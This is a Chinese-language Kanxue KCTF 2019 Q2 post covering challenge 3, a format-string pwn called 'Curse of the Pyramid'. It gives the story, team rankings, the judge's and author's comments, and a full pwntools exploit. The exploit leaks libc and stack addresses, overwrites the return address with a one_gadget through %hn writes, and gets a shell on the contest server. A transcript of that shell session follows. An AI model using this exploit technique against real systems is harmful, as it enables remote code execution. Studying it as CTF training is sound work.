看雪.纽盾 KCTF 2019 Q2 | 第三题点评及解题思路

KCTF 看雪学院 6月26日

2019看雪纽盾KCTF晋级赛Q2经过十四天的激烈比拼，于6月24日正午12点整正式宣告结束。

昨天我们公布了第一题神秘来信的题目解析，大家看过点评及其解析思路是不是觉得豁然开朗了呢？今天就让我们一起来看下第三题，看看如何去破解金字塔的诅咒，放大招！！！

题目简介

▼

经过长途跋涉，你来到坐落于尼罗河畔的神秘金字塔。这座已有4500多年历史的角锥体建筑物拔地而起，规模宏伟，结构精密，在一望无际的沙漠中格外的耀眼。即使经过千百年的打磨，金字塔自是岿然不动。

传说，外星人曾进入地球，由于飞船损坏，被迫降落在埃及。于是在建造了金字塔，想要建立与本身星球的联系，持续的向外太空发射电磁破。但是由于得不到及时的能量补给，他便死在这里，留下了一块能量宝石。

人类一直在尝试进入金字塔的内部一览真容，却屡屡失败。传说，金字塔已被“诅咒”，任何想要打开窥探的人，都将受到“诅咒”。你要如何破解这个诅咒，成功拿到宝石呢？祝你好运！

本题围观人数高达2020人，人气颇高，攻破人数为49人，看来第三题还是稍有难度的，没有第一题破解的人数多。

攻破此题的战队排名一览：

排名	战队名	破解时间	获取积分
	SU	22115s	127.27
	一份鸡腿饭	28007s	94.90
	咕咕咕	31812s	89.90
4.	fade-vivi	32132s	89.53
5.	校草队	34269s	87.25
6.	辣鸡战队	37761s	84.09
7.	AceHub	39007s	83.10
8.	pwn_it	52971s	75.17
9.	w0ooo	81077s	67.49
10.	[illegible]	89813s	66.09

题目名称 第三题：金字塔的诅咒

出题战队 卑微菜鸡队

题目简介

经过长途跋涉，你来到坐落于尼罗河畔的神秘金字塔。这座已有4500多年历史的角锥体建筑物拔地而起，规模宏伟，结构精密，在一望无际的沙漠中格外的耀眼。即使经过千百年的打磨，金字塔自是岿然不动。
传说，外星人曾进入地球，由于飞船损坏，被迫降落在埃及。于是在建造了金字塔，想要建立与本身星球的联系，持续的向外太空发射电磁破。但是由于得不到及时的能量补给，他便死在这里，留下了一块能量宝石。
人类一直在尝试进入金字塔的内部一览真容，却屡屡失败。传说，金字塔已被"诅咒"，任何想要打开窥探的人，都将受到"诅咒"。你要如何破解这个诅咒，成功拿到宝石呢？祝你好运！

题目类型：PWN题
----看雪.纽盾 KCTF晋级赛2019 Q2，看雪CTF竞赛QQ群:8601428，加群请注明论坛用户名。

题目下载 CurseofPyramid.rar

看雪CTF 评委 crownless 点评

▼

程序主函数很简单，含有很明显的格式化字符串漏洞。利用思路是泄漏libc和栈地址，来计算出one_gadget和保存返回地址的栈地址。可以修改环境变量地址为返回地址，然后写入onegadget，即可完成此题。

设计思路

▼

本题出题战队**卑微菜鸡队**：

队伍简介：
黄瓜香蕉，个人学习两年半的个人安全研究者，擅长pwn，希望和各位大佬多多交流

这是一道format题目。

格式化字符串，进入ctf_xinetd后直接docker build -t name 。

在bin目录下放的是题目和flag文件

1. 题目保护机制全开

2. 题目存在两个选项输入和退出

3. 输入存在格式化字符串

4. 由于写入的的位置不在栈上，无法利用

5. 可以看到栈上存在libc_start_main返回地址，可以泄露libc地址

6. 下面的是环境变量的地址，我们可以修改环境变量地址为返回地址，然后写入onegadget

解题思路

本题解题思路由看雪论坛 **jackandkx** 提供：

0x0 checksec

保护全开

```
[*]
'/home/abc/Desktop/3/format'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
```

0x1 程序分析

程序一开始，作者就给出了亲切的问候：

```
puts("Welcome to kanxue 2019, your pwn like cxk");
```

主函数很简单：

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
int idx;
// eax
char buf[4];
// [esp+0h] [ebp-10h]
unsigned int v6;
// [esp+4h] [ebp-Ch]
int *v7;
// [esp+8h] [ebp-8h]

v7 = &argc;
v6 = __readgsdword(0x14u);
setvbuf(stdin,
0,
2,
0);
setvbuf(stdout,
0,
2,
0);
puts("Welcome to kanxue 2019, your pwn like cxk");
do
{
while (
1 )
{
menu();
read(0, buf,
4u);
idx = atoi(buf);
if ( idx !=
1 )
break;
printf("What do tou want to say:");
read_input((int)echo,
24);
```

```
printf(echo);
puts((const char *)&unk_5655FA97);
}
}
while ( idx !=
2 );
return 0;
}
```

很明显的格式化字符串漏洞,format string是个全局变量:

```
.bss:5656100C ; char echo[24]
.bss:5656100C echo db 18h dup(?) ; DATA XREF: main+B2↑o
```

0x2 利用思路

首先栈上有libc和栈地址，先把这两个泄露出来，计算出one_gadget和保存返回地址的栈地址。

主要思路：利用%n参数改写main函数返回地址为one_gadget。
然而栈上并没有指向返回地址的值，所以我们要自己构造出来。

构造方法：

1. 通过调试，找到一个保存在栈上的栈指针，而且这个栈指针指向的值也是一个栈上的地址(因为%n测试时只能写入两个字节的值，写4个字节会失败？)。

2. %n参数修改这个栈指针指向的栈地址的低16位为&ret_addr的低16位,这样，这个栈地址就和&ret_addr一样了。

3. %n参数修改ret_addr低16位为one_gadget低16位。

4. %n参数修改这个栈指针指向的栈地址的低16位为&ret_addr+2的低16位。

5. %n参数修改ret_addr高16位为one_gadget高16位。

最后程序返回，执行One_gadget拿到shell。

0x3 完整EXP

```
from pwn import *
import pdb

# context.log_level = 'debug'


one_gadget = 0x5f065
# one_gadget = 0x5fbc5

# p = process('./format')
p = remote('152.136.18.34',9999)

p.recvuntil('Choice:')
p.sendline('1')
p.recvuntil('say:')
payload = '%3$p %5$p %11$p'
p.sendline(payload)

s = p.recvuntil('Choice').split(' ')
s[2] = s[2][:10]
elf_base = int(s[0],16)-0x8f3
ret_addr = int(s[1],16)-0x98
libc_base = int(s[2],16)-0x18637

print hex(elf_base)
print hex(ret_addr)
print hex(libc_base)


p.sendline('1')
p.recvuntil('say:')

payload = r'%.{:d}x%5$hn'.format(ret_addr&0xffff)
# print payload
p.sendline(payload)
p.recvuntil('Choice')
p.sendline('1')

p.recvuntil('say:')

payload = r'%.{:d}x%53$hn'.format((libc_base+one_gadget)&0xffff)
```

```
# print payload
p.sendline(payload)
p.recvuntil('Choice')
p.sendline('1')

p.recvuntil('say:')

payload = r'%.{:d}x%5$hn'.format((ret_addr+2)&0xffff)
# print payload
p.sendline(payload)
p.recvuntil('Choice')
p.sendline('1')

p.recvuntil('say:')

# pdb.set_trace()


payload = r'%.{:d}x%53$hn'.format(((libc_base+one_gadget)>>16)&0xffff)
# print payload
p.sendline(payload)
p.recvuntil('Choice')
p.sendline('2')
p.interactive()

# abc@vm:~/Desktop/3$ python exp.py
# [+] Opening connection to 152.136.18.34 on port 9999: Done
# 0x56572000
# 0xffa4cd8c
# 0xf7d7c000
# [*] Switching to interactive mode
# :$ ls
# bin
# dev
# flag
# format
# lib
# lib32
# lib64
# $ cat flag
# flag{c6671fc0-cea3-42ef-8af0-c20c65f854be}
```

看雪CTF晋级赛Q2 精彩回顾

1、终曲 · 看雪.纽盾 KCTF 2019 Q2 圆满落幕，精彩回顾！
2、 [看雪.纽盾 KCTF] 最后冲刺，前进吧！战士！
3、 [看雪.纽盾 KCTF] 赛况直播 | 谁能逆风翻盘？
4、赛况直播 | 当大佬开始发力后……
5、看雪.纽盾 KCTF 2019 Q2 | 第一题点评及解题思路

- End -

主办方

看雪

看雪学院（www.kanxue.com）是一个专注于PC、移动、智能设备安全研究及逆向工程的开发者社区！创建于2000年，历经19年的发展，受到业内的广泛认同，在行业中树立了令人尊敬的专业形象。平台为会员提供安全知识的在线课程教学，同时为企业提供智能设备安全相关产品和服务。

合作伙伴

NEWDON secures IT

上海纽盾科技股份有限公司（www.newdon.net）成立于2009年，是一家以“网络安全”为主轴，以“科技源自生活，纽盾服务社会”为核心经营理念，以网络安全产品的研发、生产、销售、售后服

务与相关安全服务为一体的专业安全公司，致力于为数字化时代背景下的用户提供安全产品、安全服务以及等级保护等安全解决方案。

戳原文，查看更多精彩writeup！

阅读原文